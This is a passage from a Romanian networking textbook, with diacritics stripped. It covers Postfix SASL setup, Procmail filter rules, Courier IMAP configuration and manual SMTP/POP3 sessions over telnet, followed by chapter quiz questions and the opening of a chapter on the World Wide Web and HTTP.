OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"
De obicei se va activa pornirea automat a saslauthd:
START=yes
300 | R e e l e L o c a l e

n absena unor mecanisme de verificare local a utilizatorului, se recomand folosirea
mecanismului shadow care folosete fiierul local pentru autentificarea utilizatorilor
(/etc/shadow):
MECHANISMS="shadow"
Se pornete daemonul de autentificare:
cuirass:~# /etc/init.d/saslauthd start
Starting SASL Authentication Daemon: saslauthd.
8.5.7.2.1 Pachete noi (Debian Lenny)
n distribuiile recente, folosirea saslauthd este condiionat de reconfigurarea
drepturilor i apartenenelor:
cuirass:~# dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd
cuirass:~# adduser postfix sasl
Adding user `postfix' to group `sasl' ...
Adding user postfix to group sasl
Done.
Ulterior se repornete daemonul saslauthd i Postfix:
cuirass:~# /etc/init.d/saslauthd restart
Stopping SASL Authentication Daemon: saslauthd.
Starting SASL Authentication Daemon: saslauthd.
cuirass:~# /etc/init.d/postfix restart
Stopping Postfix Mail Transport Agent: postfix.
Starting Postfix Mail Transport Agent: postfix.
8.5.7.3 Verificare
Pentru verificarea suportului SASL i TLS se folosete comanda SMTP EHLO:
cuirass:~# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 cuirass.localdomain ESMTP Postfix (2.5.5)
EHLO localhost
250-cuirass.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN PLAIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
Prezena liniilor STARTTLS i AUTH LOGIN PLAIN nseamn suport valid TLS i SASL pentru
Postfix. Pentru folosirea acestui suport clienii de e-mail trebuie configurai corespunztor.
8.6 MDA
n general, serverele de e-mail despre care s-a discutat pn acum includ o component
care se ocup de livrarea local a mesajelor. Exist, ns, situaii n care se dorete mai mult
flexibilitate n livrarea mesajelor, de la aranjarea mesajelor n cutii potale speciale n funcie
de proveniena lor, pn la activarea de filtre antispam. Spre exemplu, Sendmail nu ofer
suport pentru csue potale n format Maildir. n aceast situaie trebuie folosit un MDA
pentru livrarea mesajelor ctre csuele potale n format Maildir.
8.6.1 Procmail
Procmail formeaz, mpreun cu Maildrop, cele mai cunoscute dou MDA-uri. Procmail
este, de obicei, instalat implicit pe distribuiile Debian-based. Altfel, se poate instala folosind
apt-get:
301 | E - m a i l

# apt-get install procmail
8.6.1.1 Interaciunea cu Procmail
Dei Procmail poate rula ca aplicaie de sine stttoare, este invocat de obicei de MTA.
Pentru a configura Postfix s foloseasc Procmail se adaug linia:
mailbox_command = /path/to/procmail -a $EXTENSION
Folosirea liniei de mai sus dezactiveaz configurarea oferit de home_mailbox.
8.6.1.2 Configurarea Procmail
Configurarea Procmail se face prin intermediul fiierului global de configurare
/etc/procmailrc (dac exist) i a unui fiier local de configurare: $HOME/.procmailrc.
n momentul recepionrii unui mesaj, Procmail va ncepe procesarea fiierului
/etc/procmailrc i apoi a fiierului .procmailrc din home-ul utilizatorului. Un astfel de fiier
este compus dintr-o parte de declaraii i o parte de reguli de filtrare (recipes).
Dac se dorete transmiterea global a mesajelor ctre csue potale virtuale n format
Maildir se configureaz corespunztor fiierul global de configurare:
cuirass:~# cat /etc/procmailrc
DEFAULT=$HOME/Maildir/
MAILDIR=$HOME/Maildir
LOGFILE=/usr/local/proc.log
Mai jos este prezentat un exemplu simplu de fiier local de configurare
bogdan@cuirass:~$ cat .procmailrc
PATH=/bin:/usr/bin:/usr/local/bin
SHELL=/bin/bash
LOGFILE=$HOME/proclog
DEFAULT=$HOME/Maildir/
MAILDIR=$HOME/Maildir
:0:
* ^Subject: .*test.*
$MAILDIR/.Test/
# catch-all rule
:0
$HOME/Maildir/
8.6.1.2.1 Directive de configurare
Directivele sunt definite n forma NUME=valoare. n exemplul de mai sus, se definesc
directivele DEFAULT i MAILDIR pentru a preciza intrarea n sistemul de fiiere asociat csuei
potale virtuale. Directiva LOGFILE precizeaz fiierul folosit pentru jurnalizare. n cazul n care
nu se dorete stocarea jurnalelor se poate folosi /dev/null. Directiva PATH este util n cazul
n care se folosesc comenzi de filtrare externe i, din considerente de eficien, nu se dorete
folosirea cii complete ctre comand.
8.6.1.2.2 Reguli de filtrare
Orice regul ncepe cu caracterele :0 urmate de unul sau mai multe cmpuri de control i,
opional, de specificarea unui fiier pentru lock utilizat pentru a preveni modificarea simultan
a locaiei unde va fi salvat mesajul. Pe liniile urmtoare se pot specifica una sau mai multe
condiii urmate de o linie ce reprezint aciunea aplicat dac toate condiiile anterioare sunt
valabile. Formal, formatul este:
:0 [flags] [: [lock-file] ]
zero or more conditions
one action line
n exemplul de mai sus, mesajele al cror subiect conin irul test sunt stocate n
directorul .Test. Directorul .Test corespunde unui director Test vizibil din clientul de e-mail
302 | R e e l e L o c a l e

n cazul folosirii unei csue potale n format Maildir. Ultima regul (catch-all), stocheaz
mesajele n csua potal n format Maildir. Folosirea caracterului dou puncte n cazul primei
reguli nseamn folosirea fiierului implicit de locking.
Cele mai importante cmpuri de control sunt:
H - verificarea condiiilor se face n antetul mesajului (H = header); dac nu se specific nimic,
acest cmp este configurat implicit;
B - verificarea condiiilor se face n corpul mesajului;
D - case sensitive (implicit nu se face distincie ntre literele mari i mici);
c - se genereaz o copie a mesajului;
w - se ateapt ca programul sau filtrul s se termine i verific valoarea de ieire a acestuia
(codul de retur); dac nu s-a terminat cu succes, atunci filtrul nu este aplicat.
Condiiile sunt formate din expresii regulate la care se adaug civa operatori speciali
cum ar fi ! pentru inversarea condiiei sau < respectiv > pentru a compara dimensiunea
mesajului cu anumite limite.
Aciunile ce pot fi aplicate sunt:
o intrare n sistemul local de fiiere unde va fi stocat mesajul;
! - trimite mesajul la adresa specificat;
| - pornete un program specificat;
{ } - specific un bloc n interiorul cruia putem specifica alte reguli.
8.6.1.3 Cteva exemple
n continuare sunt prezentate cteva exemple de reguli de filtrare. Mai multe exemple
sunt descrise n pagina de manual procmailex(5).
se salveaz n cutia potal mail/stiri/agora toate mesajele al cror cmp From conine
expresia agnews@agora.ro:
:0
* From: .*agnews@agora.ro

mail/stiri/agora
se trimit toate mesajele ctre rc@cs.pub.ro:
:0
! rc@cs.pub.ro
se genereaz o copie a mesajului i se trimite ctre rc@cs.pub.ro; mesajul original va fi
verificat n continuare cu regulile urmtoare:
:0c
! rc@cs.pub.ro
pentru toate mesajele cu subiectul [humor] se va genera o copie ce va fi trimis la
rc@cs.pub.ro, iar copia local se va stoca ntr-o cutie potal definit, n fiierul
/liste/humor:
:0
* ^Subject:.*[humor]
{
:0 c
! rc@cs.pub.ro
:0
mail/liste/humor
}
se filtreaz cu SpamAssassin toate mesajele cu dimensiunea mai mic de 256 kB:
:0fw
* < 262144
| /usr/bin/spamassassin -P
303 | E - m a i l

8.7 Servere de IMAP
Cele mai rspndite servere de IMAP pentru platforme Unix sunt Courier IMAP Server,
University of Washington imapd i Cyrus IMAP Server de la Carnegie Mellon University.
8.7.1 Courier IMAP Server
Courier IMAP Server este o component a serverului Courier. Nu ofer suport pentru
formatul mbox ci doar pentru Maildir. Serverul implementeaz extensii ale acestui format,
permind, spre exemplu, posibilitatea stabilirii unor limite (quota) sau structurarea ierarhic a
mailbox-urilor. Serverul are trei avantaje importante:
permite definirea de csue potale virtuale;
are numeroase module de autentificare;
ofer posibilitatea limitrii numrului de conexiuni IMAP de la o anumit adres IP.
O alt caracteristic este posibilitatea partajrii csuelor potale ntre mai muli
utilizatori.
Courier IMAP Server a fost construit ntr-o manier modularizat pentru a permite un
consum minim de resurse.
8.7.1.1 Instalare
Instalarea serverului se realizeaz prin intermediul instalrii pachetului courier-imap.
# apt-get install courier-imap
Singura ntrebare care se pune la instalarea pachetului este dac se dorete crearea unei
structuri de directoare pentru configurare care permite configurarea folosind o interfa web.
Instalarea pachetului i a dependinelor acestuia conduce la rularea unui server de IMAP
(imapd) pe portul implicit (143) i a unui set de utilitare specifice. Un utilitar important este
maildirmake care permite crearea unui director n format Maildir reprezentnd csua
potal folosit pentru recepionarea mesajelor.
8.7.1.2 Configurare
Fiierele de configurare pentru serverul de IMAP se gsesc n /etc/courier/ i sunt
imapd, pentru configurarea funcionalitii serverului, i authdaemonrc, pentru configurarea
daemon-ului de autentificare.
Directivele din fiierul imapd sunt n formatul NUME=valoare. Aici se pot schimba adresa
pe care ascult serverul, portul, numrul de procese care pot fi deschise, numrul maxim de
conexiuni, etc. De asemenea, aici se pot stabili alte valori pentru numele directoarelor
implicite, prin alterarea directivelor respective. Astfel, dac se dorete schimbarea numelui
directorului implicit de recepie a mesajelor (Maildir), se va nlocui linia
MAILDIRPATH=Maildir
cu
MAILDIRPATH=Mymail
Comanda makemaildir este utilizat pentru crearea unui director cu formatul utilizat de
Courier (maildir). O opiune util n cadrul acestei comenzi este posibilitatea asocierii unei
cote (quota). Mai jos sunt prezentate dou exemple de utilizare. Comanda:
bogdan@cuirass:~$ ls
bogdan@cuirass:~$ maildirmake Maildir
bogdan@cuirass:~$ ls
Maildir
creeaz un director format Maildir n directorul de baz al utilizatorului; comanda:
304 | R e e l e L o c a l e

$ maildirmake -q 10000000S $HOME/Maildir
creeaz un director format Maildir n directorul de baz al utilizatorului cu o cot de 10
MB. Trebuie specificat faptul c numai anumite LDA-uri (Courier Maildrop i deliverquota) vor
ine cont de cotele impuse ntr-o astfel de utilizare.
8.7.1.3 Utilizarea Courier IMAP cu Postfix
Serverul Postfix nu lucreaz implicit cu formatul Maildir. Pentru aceasta va trebui
modificat corespunztor fiierul de configurare /etc/postfix/main.cf, prin alterarea
directivei home_mailbox i ignorarea directivei mailbox_command:
cuirass:/etc/courier# postconf home_mailbox
home_mailbox =
cuirass:/etc/courier# postconf -e 'home_mailbox = Maildir/'
cuirass:/etc/courier# postconf home_mailbox
home_mailbox = Maildir/
cuirass:~# cat /etc/postfix/main.cf | grep command
#mailbox_command = procmail -a "$EXTENSION"
Nu trebuie omis caracterul / de la sfritul fiierul Maildir.
Anumite MTA-uri nu ofer suport pentru formatul Maildir. n aceast situaie livrarea
mesajelor trebuie delegat unui MDA precum Procmail sau Maildrop.
8.7.1.4 Suport SSL
Suportul IMAP peste SSL n cazul Courier IMAP este asigurat prin instalarea pachetului
courier-imap-ssl:
cuirass:~# apt-get install courier-imap-ssl
n cadrul instalrii pachetului se genereaz i un certificat pentru autentificare n
/etc/courier/imapd.pem.
Serverul IMAPS ascult conexiuni pe portul 993:
cuirass:/etc/courier# netstat -tlnp | grep 993
tcp6 0 0 :::993 :::* LISTEN 2173/couriertcpd
Fiierul /etc/courier/imapd-ssl este fiierul de configurare pentru serverul IMAPS.
8.7.1.5 Configurarea accesului la csue potale virtuale
Courier IMAP poate fi configurat pentru accesarea mesajelor din csue potale virtuale
adic intrri specializate n sistemul de fiiere. Pentru aceasta trebuie configurat daemonul de
autentificare authdaemond prin intermediul fiierului /etc/courier/authdaemonrc.
n prima faz trebuie folosit modulul authuserdb care permite configurarea facil a
utilizatorilor virtuali. Acest lucru se realizeaz prin alterarea directivei de configurare
authmodulelist:
authmodulelist="authuserdb authpam"
Dup configurare trebuie repornit daemon-ul de autentificare cu ajutorul scriptului
invoke-rc.d:
cuirass:~# invoke-rc.d courier-authdaemon reload
Stopping Courier authentication services: authdaemond.
Starting Courier authentication services: authdaemond.
n continuare se adaug utilizatorul info n baza de date de utilizatori i se activeaz. Se
presupune csua potal virtual descris n seciunea asociat Postfix [TODO] pentru contul
info@gamma.com:
cuirass:~# userdb info set uid=1005 gid=8 home=/var/mail/vhosts/gamma.com/info
mail=/var/mail/vhosts/gamma.com/info
cuirass:~# userdbpw -md5 | userdb info set systempw
305 | E - m a i l

Password:
Reenter password:
cuirass:~# makeuserdb
n continuare clientul de e-mail se configureaz pentru citirea mesajelor de pe contul
info@gamma.com.
Pentru depistarea eventualelor erori de autentificare, se recomand activarea opiunii de
jurnalizare a operaiei n fiierul de configurare /etc/courier/authdaemonrc:
DEBUG_LOGIN=1
8.8 Webmail
n mod frecvent, accesarea csuelor potale se realizeaz utiliznd diferii clieni
IMAP/POP3 instalai pe sistemul clientului, cum sunt, spre exemplu, Mozilla Thunderbird,
Outlook Express, Kmail, Evolution, Mutt, etc. n multe situaii se dorete posibilitatea accesrii
rapide a csuei potale de pe diferite sisteme fr a instala sau configura pe acestea un client
de e-mail. Pentru asemenea situaii exist aplicaii de accesare a csuelor potale prin
interfaa web. Cele mai cunoscute, la momentul actual, sunt Horde, SquirrelMail i
RoundCube.
8.9 Studii de caz
8.9.1 Comenzi SMTP. Transmiterea unui mesaj folosind SMTP
Se vor prezenta, n continuare, cele mai utilizate comenzi SMTP, fr a intra n detalii de
sintax. Un mod simplu de a transmite un mesaj manual (fr utilizarea unui MUA) este
conectarea la un server SMTP pe portul 25 utiliznd telnet, ca n exemplul ce urmeaz:
root@MPLS-2:/home/mpls2# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
220 localhost.localdomain ESMTP Postfix (Debian/GNU)
EHLO test
250-localhost.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250 8BITMIME
MAIL FROM: mpls2@MPLS-2.cs.pub.ro
250 Ok
RCPT TO: razvand@gmail.com
250 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
hello,
un mesaj simplu.
.
250 Ok: queued as 0BC1A211F64
QUIT
221 Bye
Connection closed by foreign host.
HELO - comand utilizat pentru identificarea serverului i a clientului SMTP. Clientul va
iniia sesiunea printr-o astfel de comand n care i anun numele complet (FQDN - Fully
Qualified Domain Name). Dac serverul accept sesiunea, va rspunde cu codul 250 urmat de
numele su.
MAIL FROM - este prima din comenzile utilizate pentru trimiterea efectiv a mesajului i
are ca rol specificarea identitii autorului mesajului. Dac rspunsul serverului este OK (250)
nu nseamn ca mesajul va fi neaprat livrat, deoarece, n funcie de alte comenzi, se poate
ntoarce un cod de eroare.
RCPT TO - permite specificarea destinatarului mesajului. Dac serverul recunoate
utilizatorul, atunci se va rspunde cu 250 OK; astfel se va returna un cod de eroare
306 | R e e l e L o c a l e

corespunztor. Dac se dorete ca mesajul sa ajung la mai multe destinaii se va folosi
comanda RCPT TO de mai multe ori. De remarcat este faptul c standardul permite ca
adresele specificate prin comenzile MAIL FROM i RCPT TO s fie diferite de cele specificate de
cmpurile From i To din corpul mesajului. Dar, dup cum s-a precizat, mesajele sunt livrate n
funcie de informaiile transmise prin SMTP, nu de ceea ce apare n coninut.
DATA - permite specificarea corpului mesajului. Acesta are o succesiune de linii,
succesiune ncheiat cu caracterul . plasat singur pe o linie. Coninutul su ar trebui s fie
conform formatului precizat n RFC 822 (2822), adic s conin cmpurile Date, Subject, To,
Cc, From, dar nu este o cerin obligatorie impus de standardul SMTP.
RSET - permite anularea tranzaciei curente. Serverul va terge buffer-ele alocate
mesajului curent i va reveni n starea de dup HELO. Conexiunea cu clientul nu este
ntrerupt.
VRFY - permite verificarea validitii csuei potale pentru un utilizator specificat ca
parametru.
EXPN - permite verificarea dac o adres specificat este o list de discuii i, n caz
afirmativ, afieaz membrii listei respective.
NOOP - comand de testare a conexiunii. Nu se efectueaz nicio operaie; serverul trebuie
s rspund cu 250 OK.
QUIT - comand utilizat pentru ntreruperea conexiunii cu serverul.
HELP - comand de ajutor.
8.9.2 Comenzi POP3. Citirea unui mesaj folosind POP3
Printre cele mai utilizate comenzi POP3 sunt urmtoarele:
USER username/PASS password - sunt ntotdeauna primele comenzi folosite dup
stabilirea conexiunii ntre clientul i serverul de POP3. Sunt folosite pentru autentificarea
clientului la server. Dac informaiile de autentificare sunt corecte i serverul reuete s
obin un lock asupra csuei potale (pentru a nu putea fi modificat de un alt client
simultan), atunci ntoarce rspuns pozitiv. Comanda APOP este opional pentru serverele
POP3 i a fost introdus din cauza inconvenientului comenzii PASS de a trimite parola n clar.
Un mic exemplu de funcionare a protocolului POP3 (prin conectare la server pe portul
110 i utilizare telnet) este urmtorul:
mpls2@MPLS-2:~$ telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
+OK
USER: mpls2
-ERR
USER mpls2
+OK
PASS parola2
+OK
LIST
+OK
1 831
2 505
3 521
.
RETR 3
+OK
Return-Path: <mpls2@MPLS-2.cs.pub.ro>
X-Original-To: mpls2@localhost.localdomain
Delivered-To: mpls2@localhost.localdomain
Received: from test (localhost.localdomain [127.0.0.1])
by localhost.localdomain (Postfix) with SMTP id 9695E211F64
for <mpls2@localhost.localdomain>; Tue, 20 Sep 2005 12:37:35 +0300 (EEST)
Message-Id: <20050920093735.9695E211F64@localhost.localdomain>
Date: Tue, 20 Sep 2005 12:37:35 +0300 (EEST)
From: mpls2@MPLS-2.cs.pub.ro
To: undisclosed-recipients:;

yet another simple message
307 | E - m a i l

.
DELE 1
+OK
LIST
+OK
2 505
3 521
.
QUIT
+OK
Connection closed by foreign host.
STAT - solicit serverului informaii despre csua potal a utilizatorului. Un rspuns
pozitiv din partea serverului este +OK <numar_mesaje> <dimensiune_totala>.
LIST - dac aceast comand este apelat fr niciun argument, serverul va afia informaii
despre mesaje, cte o linie pentru fiecare. Comanda se poate apela i avnd ca argument un
numr de mesaj, serverul returnnd n acest caz doar linia corespunztoare mesajului. Nu se
poate invoca pentru mesajele marcate pentru tergere.
RETR msg - afieaz coninutul mesajului msg; orice comand ulterioar cu referire la acest
mesaj va genera o eroare.
DELE msg - marcheaz mesajul msg pentru tergere; mesajele nu vor fi terse efectiv dect
la nchiderea sesiunii.
NOOP - clientul nu solicit nicio aciune, ci doar rspuns pozitiv din partea serverului.
RSET - anuleaz marcajul de tergere pentru toate mesajele marcate.
QUIT - serverul va terge toate mesajele marcate pentru tergere i va returna +OK sau -
ERR n funcie de reuita operaiei.
HELP - comand de ajutor.
308 | R e e l e L o c a l e

ntrebri
1. Care afirmaii sunt adevrate n ceea ce privete sistemul de pot electronic?
SMTP este protocolul utilizat ntre MTA (Mail Transfer Agent).
SMTP este protocolul utilizat de ctre o aplicaie de tip MUA (Mail User Agent) pentru a
transfera mesajele de pe server.
SMTP utilizeaz portul 25.
SMTP nu este folosit pentru pot electronic.

2. Pentru un server SMTP, termenul de relaying reprezint:
a primi un mesaj care nu este destinat unui utilizator din domeniile gestionate de server
i a-l transmite mai departe ctre destinaie.
a primi un mesaj care este destinat unui utilizator din domeniile gestionate de server i
a-l transmite mai departe ctre destinaie.
termenul de relaying are sens n contextul unui Mail User Agent, nu al unui server
SMTP.
niciunul din rspunsurile de mai sus.

3. Protocolul IMAP permite (alegei 2 variante):
gestiunea offline a mesajelor.
structurarea pe directoare a mesajelor.
transferul de mesaje ntre MTA (Mail Transfer Agent).
accesarea doar a unei singure csute potale la un moment dat.

4. Care din urmtoarele variante NU este un server de IMAP?
Postfix
Courier
Cyrus
Dovecot

5. Care din urmtoarele directive NU este o directiv Postfix?
home_mailbox
sender_canonical_maps
mynetworks
mod_ssl

6. Care din urmtoarele porturi NU este asociat serviciului de e-mail?
53
993
25
587

7. Care din urmtoarele afirmaii despre Postfix este fals?
este o aplicaie monolitic
poate gestiona domenii virtuale
are suport pentru formatul Maildir
are suport pentru csue potale virtuale

309 | E - m a i l

8. Care este ordinea corect a transmiterii i accesrii unui mesaj?
MUA, MTA, MTA, MDA, server IMAP, MUA
MUA, MDA, MTA, MUA, MTA, server IMAP
MUA, server IMAP, MTA, MDA, MTA
MDA, MUA, MTA, server IMAP, MTA

9. Ce reprezint un domeniu virtual?
un domeniu ai crui utilizatori nu exist efectiv pe server.
un domeniu pentru care nu se face relay.
un nume alternativ la serverului de mail.
niciuna din variantele de mai sus.

10. Care este efectul urmtoarelor filtre n Procmail?
:0
! test1@cs.pub.ro

:0c
* Subject:.*retele
! test2@cs.pub.ro
toate mesajele sunt forwardate ctre test1@cs.pub.ro.
toate mesajele sunt forwardate ctre test1@cs.pub.ro i n plus, acele mesaje care
conin n subiect cuvntul retele sunt forwardate ctre test2@cs.pub.ro.
toate mesajele sunt forwardate ctre test1@cs.pub.ro i n plus, o copie a acelor
mesaje care conin n subiect cuvntul retele sunt forwardate ctre test2@cs.pub.ro.
niciuna dintre variantele de mai sus.

310 | R e e l e L o c a l e

9 World Wide Web
If you don't have an E-mail address, you're in the Netherworld. If you don't have your own
World Wide Web page, you're a nobody.
Clifford Stoll
Ce se nva din acest capitol?
Ce este World Wide Web-ul
Care sunt tehnologiile fundamentale ale web-ului
Cum funcioneaz serviciul de web
Configurarea serverului de web Apache2.2
Configurarea IIS7 pe Windows
Cine este...
Sir Tim Berners-Lee este cercettorul creditat cu inventarea World Wide Web-ului. Pe
25 decembrie 1990 a realizat prima comunicaie HTTP n Internet ntre un server i un
client. n prezent este directorul World Wide Web Consortium (W3C).
Robert McCool este autorul webserver-ului NCSA HTTPd, ulterior cunoscut sub numele
Apache HTTP Server. A scris prima versiune ca student la Universitatea din Illinois unde a
lucrat cu echipa iniial a NCSA Mosaic (unul dintre primele browser-e web). A contribuit la
specificaia iniial a Common Gateway Interface (CGI) care s-a dovedit a fi un element
cheie n realizarea unui web dinamic. n prezent este dezvoltator la Yahoo!.
Ward Cunningham este creatorul primului software de wiki numit WikiWikiWeb
(1994). Software-ul de wiki a fost folosit iniial n interiorul companiei sale. A lucrat la
Microsoft Corporation i la Eclipse Foundation iar in prezent este CTO la compania
AboutUs.

World Wide Web-ul este un spaiu de informaie n care elementele de interes, cunoscute
sub numele de resurse, sunt recunoscute prin utilizarea unor identificatori globali, denumii
URI (Uniform Resource Identifiers). Termenul nu trebuie confundat cu Internetul; web-ul este
de fapt un serviciu care acioneaz deasupra Internetului.
9.1 Modul de funcionare a Web-ului
Resursele obinuite ale web-ului sunt denumite pagini web. Pentru accesarea unei pagini
web sau a unei alte resurse se ncepe prin introducerea URL-ului asociat acelei pagini n
browser, sau prin folosirea unui hyperlink ctre pagina respectiv. n mod evident, un pas
anterior const n rezolvarea numelui serverului din URL ntr-o adresa IP folosind DNS.
Urmtorul pas este transmiterea unei cereri HTTP ctre serverul web care funcioneaz la
adresa IP rezolvat. Se solicit astfel pagina web (sau resursa) prezent n URL. O pagin web
obinuit este, n cea mai mare parte, un fiier text n format HTML. n urma solicitrii,
serverul web identific resursa i o transmite clientului. Clientul este chiar browser-ul.
n continuare, sarcina browser-ului este de a reda pagina descris de fiierele HTML, CSS i
alte fiiere, ncorpornd imagini, link-uri i alte resurse dup cum este necesar. Rezultatul este
afiarea paginii solicitate n ecranul browser-ului.
Majoritatea paginilor web vor conine hyperlink-uri ctre alte pagini, ctre fiiere care pot
fi descrcate sau ctre alte resurse web. O astfel de colecie de resurse interconectate prin
intermediul hyperlink-urilor a fost denumit un web de informaie. Posibilitatea accesrii i
311 | Wo r l d W i d e W e b

folosirii acestor resurse n Internet a produs ceea ce Sir Tim Berners-Lee a denumit, la
nceputul anilor 90, World Wide Web.
Sir Tim Berners-Lee are meritul de a fi gsit soluia de succes care s structureze cantitatea
vast de informaie din cadrul Internetului aprut ca urmare a extinderii acestuia la sfritul
anilor '80 i nceputul anilor '90. Dup multe tentative nereuite de a organiza aceste
informaii, Berners-Lee a gsit soluia care s-a impus, prin folosirea conceptului de hypertext la
un loc cu Internetul. n acest proces el a dezvoltat un sistem de identificatori globali unici
pentru resurse din Web: URI (Uniform Resource Identifiers).
9.1.1 Uniform Resource Locator (URL)
Un URL
1
reprezint un format standardizat de adresare a resurselor de pe Internet. Un
URL este de fapt un URI (Uniform Resource Identifier); altfel spuse, este un identificator al unei
resurse. Fiind mai cunoscut, termenul de URL va fi folosit n continuare. URL-ul a fost o
inovaie fundamental n istoria Internetului. Sintaxa a fost proiectat pentru a fi generic,
extensibil i capabil s exprime adresele n orice set de caractere utiliznd un subset limitat
de caractere ASCII.
Un URL combin ntr-o adres simpl cele patru elemente de baz necesare pentru
localizarea unei resurse oriunde n cadrul Internetului:
protocolul folosit n cadrul comunicaiei,
serverul (host) cu care se comunic,
portul de pe server folosit pentru conectare,
calea ctre resursa de pe server (spre exemplu un nume de fiier).
Sintaxa folosit n cadrul URL-ului este protocol://server:port/cale. Dac se dorete
i autentificare, sintaxa are formatul protocol://nume:parola@server:port/cale. Ultima
form a sintaxei poate fi folosit, spre exemplu, la autentificarea pe site-uri FTP.
Un exemplu de URL este cel de mai jos:
http://www.samplesite.org:80/pub/search.html?search=world&num=10
n acest exemplu:
http este protocolul;
www.samplesite.org este serverul;
80 este portul folosit pentru conectarea la server (de vreme ce 80 este valoarea implicit
pentru protocolul HTTP, aceast poriune putea fi omis);
/pub/search.html este calea ctre resurs;
?search=world&num=10 este irul de interogare (aceast parte este opional).
n absena cmpului protocol din URL, ntr-un browser se folosete implicit HTTP. De
asemenea, ntruct portul 80 este cel implicit, n mod normal nu este specificat. Drept urmare,
un utilizator va introduce numai un URL parial precum www.samplesite.org/
pub/search.html. Totodat, pentru a confirma relevana www ca serviciu n Internet, o
nregistrare DNS cu cheia samplesite.org va avea, de obicei, asociat aceeai adres IP ca
nregistrarea pentru www.samplesite.org. n acest fel, o bun parte din site-urile web pot fi
accesate fr specificarea www n faa numelui de domeniu.
9.1.2 Hypertext Transfer Protocol
HTTP reprezint principala metod de obinere a informaiei n World Wide Web. Scopul
iniial a fost crearea unei modaliti de publicare i transmitere de pagini HTML. Dezvoltarea
HTTP a fost coordonat de World Wide Web Consortium i Internet Engineering Task Force,
culminnd cu publicarea unei serii de RFC-uri, cel mai notabil RFC 2616, care descrie HTTP/1.1,

1
http://tools.ietf.org/html/rfc1738
312 | R e e l e L o c a l e

versiunea HTTP utilizat n aceste momente. Versiunea HTTP/1.1 aduce mai multe
mbuntiri i caracteristici noi, dar rmne perfect compatibil cu HTTP/1.0.
HTTP este un protocol de tip ntrebare/rspuns ntre clieni i servere. Un client web (de
obicei un browser), stabilete o conexiune TCP pe un port al unei staii (portul implicit este
portul 80). Un server HTTP ascult pe acel port i ateapt din partea clientului transmiterea
unei cereri de forma:
GET /cale/catre/resursa HTTP/1.0
urmat de un mesaj de tip MIME coninnd un set de antete pentru descrierea cererii i
un cmp opional de date. Unele antete sunt opionale, pe cnd altele, precum Host sunt
obligatorii (pentru HTTP/1.1). Dup primirea cererii, serverul transmite clientului un ir de tip
rspuns, cum ar fi 200 OK, i un mesaj reprezentnd fiierul cerut sau un mesaj de eroare sau
alt informaie.
Rspunsul trimis de server ncepe cu un cod ce indic tipul rspunsului, ncadrndu-se n
urmtoarele categorii:
1xx: informare;
2xx: succes;
3xx: redirectare;
4xx: mesaj de interogare eronat;
5xx: eroare la nivelul serverului.
HTTP difer de alte protocoale care folosesc TCP (cum este FTP) prin ncheierea conexiunii
dup ce o anumit cerere a fost satisfcut. Acest lucru face din HTTP protocolul ideal pentru
World Wide Web, unde paginile au legturi ctre alte pagini pe alte servere. Lipsa unei
conexiuni persistente impune programatorilor web folosirea unor metode alternative pentru a
reine starea conexiunii. Printre acestea se numr cookies, variabile ascunse (n form-uri
web) sau sesiuni pe server.
O alt caracteristic important a HTTP este lipsa securitii comunicaiei. Acest lucru a
condus la apariia HTTPS. HTTPS este versiunea securizat a HTTP, utiliznd SSL/TLS (Secure
Sockets Layer/Transport Layer Security) pentru a proteja traficul. Protocolul folosete implicit
portul 443. SSL, iniial creat pentru a proteja HTTP (dar folosit acum mpreun cu alte
protocoale), este potrivit comunicaiilor HTTP ntruct poate asigura protecie chiar dac
numai unul din membrii comunicaiei (serverul) este autentificat. Aceasta este situaia
obinuit n cazul tranzaciilor HTTP pe Internet.
9.1.3 HyperText Markup Language
HTML face parte din categoria limbajelor descriptive (markup languages) i este folosit
pentru crearea de pagini web i alte informaii care s poat fi redate ntr-un browser web.
HTML este folosit pentru a structura informaia, descriind anumite poriuni de text ca antete,
paragrafe, liste, etc., i poate fi folosit pentru a defini semantica unui document.
Iniial definit de Sir Tim Berners Lee i apoi dezvoltat de IETF cu o sintax SGML
simplificat, HTML este astzi un standard internaional. Specificaia HTML este meninut de
World Wide Web Consortium (W3C).
Primele versiuni de HTML erau definite cu reguli sintactice destul de permisive, aspect
care a ajutat la adoptarea sa ctre cei care nu aveau familiaritate cu publicarea web. Browser-
ele realizau diverse presupuneri despre intenia acestora i continuau cu redarea paginii
respective. De-a lungul timpului, n cadrul standardelor oficiale, a aprut intenia de a crea o
sintax de limbaj din ce n ce mai strict. Cu toate acestea, browser-ele continu s redea
pagini care sunt departe de un format HTML valid.
313 | Wo r l d W i d e W e b

Versiunea curent a specificaiei HTML este HTML 4.01. W3C a intenionat nlocuirea
acestuia cu XHTML, care aplic regulile stricte ale XML n HTML. Adoptarea XHTML se
realizeaz ntr-un ritm mai puin rapid, drept pentru care W3C dezvolt versiunea 5 a HTML.
Tipurile de marcaje existente n HTML sunt:
marcaj structural - descrie scopul textului; spre exemplu <h2>Section</h2> direcioneaz
browser-ul s redea Section ca un antet de nivel doi;
marcaj de prezentare - descrie modul n care apare textul; de exemplu, <b>boldface</b> va
reda boldface n text ngroat;
marcaj hypertext - leag pri ale documentului ctre alte documente; spre exemplu, <a
href=http://en.wikipedia.org>Wiki</a>, va reda irul Wiki ca un hyperlink ctre
URL-ul specificat.
9.1.4 Clieni web
Ca majoritatea serviciilor din Internet, comunicaia prin HTTP se realizeaz folosind
paradigma client-server. Clienii web sunt cunoscui sub numele de navigatoare web
(browser-e). Browser-ul este o aplicaie care permite utilizatorului afiarea i interaciunea cu
documente HTML gzduite pe anumite servere web sau meninute n cadrul unui sistem de
fiiere. Printre cele mai cunoscute browser-e se numr Microsoft Internet Explorer, Mozilla
Firefox, Opera i Safari. Un browser este cel mai cunoscut tip de user agent.
Browser-ele web comunic cu serverele web folosind HTTP pentru obinerea de pagini
